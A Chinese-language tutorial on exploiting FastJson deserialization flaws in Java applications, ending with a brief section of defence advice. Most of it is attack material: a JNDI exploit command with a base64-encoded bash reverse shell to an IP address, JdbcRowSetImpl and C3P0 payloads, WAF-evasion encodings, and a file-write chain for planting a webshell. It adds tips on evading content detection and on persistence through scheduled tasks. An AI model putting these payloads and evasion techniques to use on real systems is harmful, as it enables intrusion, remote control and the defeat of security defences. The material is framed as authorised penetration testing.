Java组件安全实战:FastJson漏洞利用与WAF绕过技巧
1. FastJson漏洞基础与实战环境搭建
FastJson作为阿里巴巴开源的Java JSON处理库,因其高性能特点被广泛应用于各类Java项目中。但正是其强大的功能特性,也带来了诸多安全隐患。我们先从最基础的漏洞原理讲起——想象FastJson就像一个过于热情的翻译官,当它遇到带有特殊标记的JSON数据时,会过度热情地帮我们实例化对象,这就给了攻击者可乘之机。
我在实际测试中最常用的环境是GitHub上的FastJsonParty项目,这个Docker环境囊括了1.2.47到1.2.80等多个存在漏洞的版本。搭建方法非常简单:
git clone https://github.com/lemono0/FastJsonParty cd FastJsonParty docker-compose up -d这个环境最棒的地方在于它模拟了真实业务场景中的多种防护措施:
- 不同版本的FastJson运行实例
- 基础WAF防护规则
- 网络隔离环境(不出网场景)
- 文件读写权限控制
对于初学者,我建议先用BurpSuite配合FastjsonScan插件进行基础探测。这个插件会自动识别FastJson版本并生成基础payload,就像这样:
{"@type":"java.net.InetAddress","val":"dnslog.cn"}2. JNDI注入攻击全流程解析
JNDI注入是FastJson最经典的攻击方式,原理就像是通过JSON数据让服务器去指定的"电话簿"(JNDI服务)查找并执行危险操作。我们先看一个基础攻击案例:
攻击准备阶段需要启动恶意JNDI服务,我常用JNDI-Injection-Exploit工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" \ -A 192.168.1.1攻击payload示例(针对1.2.47版本):
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://攻击者IP:1389/恶意类", "autoCommit":true } }但随着Java高版本(≥8u191)的限制,传统JNDI注入方式会失效。这时就需要用到我在实战中总结的绕过技巧:
- 本地ClassPath利用:寻找目标环境中已存在的危险类
- EL表达式注入:适用于Tomcat等容器环境
- C3P0二次反序列化:后面会详细讲解
3. 高版本JDK环境下的绕过技巧
当遇到Java高版本环境时,很多同学可能会束手无策。其实通过C3P0连接池链,我们可以实现不出网利用。这就像是在封闭的房间里找到了一把备用钥匙。
C3P0利用链核心原理:
- 利用FastJson反序列化触发C3P0的JNDI配置
- 通过HexAsciiSerializedMap加载恶意序列化数据
- 最终实现RCE而不需要外连
具体payload构造示例:
{ "a":{ "@type":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSerializedMap:aced...(恶意序列化数据)" } }我在实际项目中遇到过几个常见问题:
- 目标环境没有C3P0依赖?可以尝试其他链如ibatis
- 序列化数据太大?使用压缩或分段传输
- 防护软件拦截?接下来我们就讲WAF绕过技巧
4. WAF绕过的高级编码技巧
现代WAF就像严格的安检门,但总有方法可以伪装通过。FastJson自带的编码特性就是我们最好的武器。
常用编码绕过方式:
- Unicode编码:将关键字段转换为\u形式
{ "\u0061": { "\u0040\u0074\u0079\u0070\u0065": "com.sun.rowset.JdbcRowSetImpl" } } - Hex编码:对特定字符进行十六进制转换
- 特殊字符插入:在关键字中添加_或+等字符
{ "a":{ "@type":"java.lang.AutoCloseable", "us_erOverridesAsString":"恶意数据" } }
实战技巧组合拳:
- 先用简单payload探测WAF规则
- 混合使用多种编码方式
- 关键参数名拆分(如dataSourceName拆分为data+Source+Name)
- 添加无害注释混淆(FastJson支持//和/**/注释)
记得去年在某次授权测试中,目标的WAF规则非常严格。最终我是通过Unicode编码+注释+参数拆分的组合拳成功绕过的,payload长得像天书一样,但效果出奇地好。
5. 文件写入与后续利用
当常规RCE受阻时,文件写入就成了突破口。FastJson 1.2.68+版本的文件写入链特别实用,就像是在服务器上开了一个后门。
典型利用步骤:
- 探测web目录(通过报错信息或静态资源路径)
- 构造恶意JSON写入JSP文件:
{ "@type":"java.lang.AutoCloseable", "@type":"org.springframework.web.servlet.view.freemarker.FreeMarkerConfigurer", "templateLoaderPath":"file:///tmp", "freemarkerSettings":{ "auto_import":"/恶意模板.ftl" } } - 访问写入的webshell获取控制权
提高成功率的小技巧:
- 多目录尝试(/upload、/static、/tmp等)
- 文件名随机化避免被检测
- 内容加密绕过内容安全检测
- 配合日志文件查看写入结果
有次在测试中遇到特别严格的权限控制,最终是通过写入计划任务实现的持久化。这提醒我们:当一条路走不通时,要灵活转换思路。
6. 防御方案与安全建议
作为负责任的安服人员,我们不仅要会攻击,更要懂防御。以下是给开发同学的安全建议:
代码层防护:
- 使用最新安全版本(≥1.2.83)
- 配置SafeMode禁用autoType:
ParserConfig.getGlobalInstance().setSafeMode(true); - 严格过滤@type等关键字段
架构层防护:
- WAF规则要定期更新(特别关注编码变种)
- 网络隔离关键业务系统
- Java运行环境升级到最新版
运维监控:
- 日志监控异常JSON请求
- 部署RASP进行运行时防护
- 定期组件安全扫描
记得帮某金融客户做加固时,我们发现虽然升级了FastJson版本,但老接口仍然使用低版本解析。这种新旧版本共存的情况特别危险,需要全面梳理才能彻底解决。
在安全这条路上,攻防永远是对立统一的。只有深入理解攻击手法,才能构建真正有效的防御体系。每次测试遇到的挑战,都是提升技术的最佳机会。保持好奇心,持续学习,才是安全工程师的核心竞争力。
